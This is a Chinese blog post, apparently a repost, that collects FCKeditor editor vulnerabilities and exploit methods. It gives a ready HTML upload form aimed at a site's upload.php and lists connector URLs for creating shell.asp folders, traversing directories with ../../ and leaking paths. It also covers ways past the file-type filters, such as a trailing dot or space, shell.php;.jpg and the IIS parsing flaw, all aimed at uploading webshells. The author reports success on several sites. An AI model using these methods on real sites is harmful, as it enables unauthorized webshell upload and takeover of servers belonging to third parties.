Fckeditor常见漏洞的挖掘与利用整理汇总

  查看编辑器版本号
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————


2. Version 2.2 版本号
Apache+linux 环境下在上传文件后面加个.突破!測试通过。
—————————————————————————————————————————————————————————————


3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传随意文件!将下面保存为html文件,改动action地址。
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
—————————————————————————————————————————————————————————————


4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
        非常多时候上传的文件比如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
    4.1:提交shell.php+空格绕过
只是空格仅仅支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未測试。


    4.2:继续上传同名文件可变为shell.php;(1).jpg 也能够新建一个文件夹,仅仅检測了第一级的文件夹,假设跳到二级文件夹就不受限制。
—————————————————————————————————————————————————————————————


5. 突破建立目录
FCKeditor/editor/filemanager/connectors/asp/connector.asp?

Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————


6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————


7.经常使用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?

Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?

type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分改动为FCKeditor 实际使用的脚本语言,蓝色部分能够自己定义文
件夹名称也能够利用../..文件夹遍历。紫色部分为实际站点地址。
—————————————————————————————————————————————————————————————


8.其它上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般非常多网站都已删除_samples 文件夹。能够试试。


FCKeditor/editor/fckeditor.html 不能够上传文件,能够点击上传图片button再选择浏览server就可以跳转至可上传文件页。
—————————————————————————————————————————————————————————————


9.列文件夹漏洞也可助找上传地址
Version 2.4.1 測试通过
改动CurrentFolder 參数使用 ../../来进入不同的文件夹
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
依据返回的XML 信息能够查看站点全部的文件夹。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也能够直接浏览盘符:
JSP 版本号:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————


10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————


11. FCKeditor 被动限制策略所导致的过滤不严问题
        影响版本号: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描写叙述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 同意上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未測试]!
        而在apache 下,由于"Apache 文件名称解析缺陷漏洞"也能够利用之,另建议其它上传漏洞中定义TYPE 变量时使用File 类别来上传文件,依据FCKeditor 的代码,其限制最为狭隘。
        在上传时遇见可直接上传脚本文件固然非常好,但有些版本号可能无法直接上传能够利用在文件名称后面加.点或空格绕过,也能够利用2003 解析漏洞建立xxx.asp目录或者上传xx.asp;.jpg!
—————————————————————————————————————————————————————————————


12.最古老的漏洞。Type文件没有限制!
        我接触到的第一个fckeditor漏洞了。版本号不详。应该非常古老了,由于程序对type=xxx 的类型没有检查。我们能够直接构造上传把type=Image 改成Type=hsren 这样就能够建立一个叫hsren的目录,一个新类型,没有不论什么限制,能够上传随意脚本! 
—————————————————————————————————————————————————————————————


===============================================================================================================================================


FCK编辑器jsp版本号漏洞:




http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=FileUpload&Type=Image&CurrentFolder=%2F


上传马所在文件夹
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=connectors/jsp/connector
跟版本号有关系.并非百分百成功. 測试成功几个站.
不能通杀.非常遗憾.
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
假设以上地址不行能够试试
FCKeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

原文地址:https://www.cnblogs.com/yangykaifa/p/6834626.html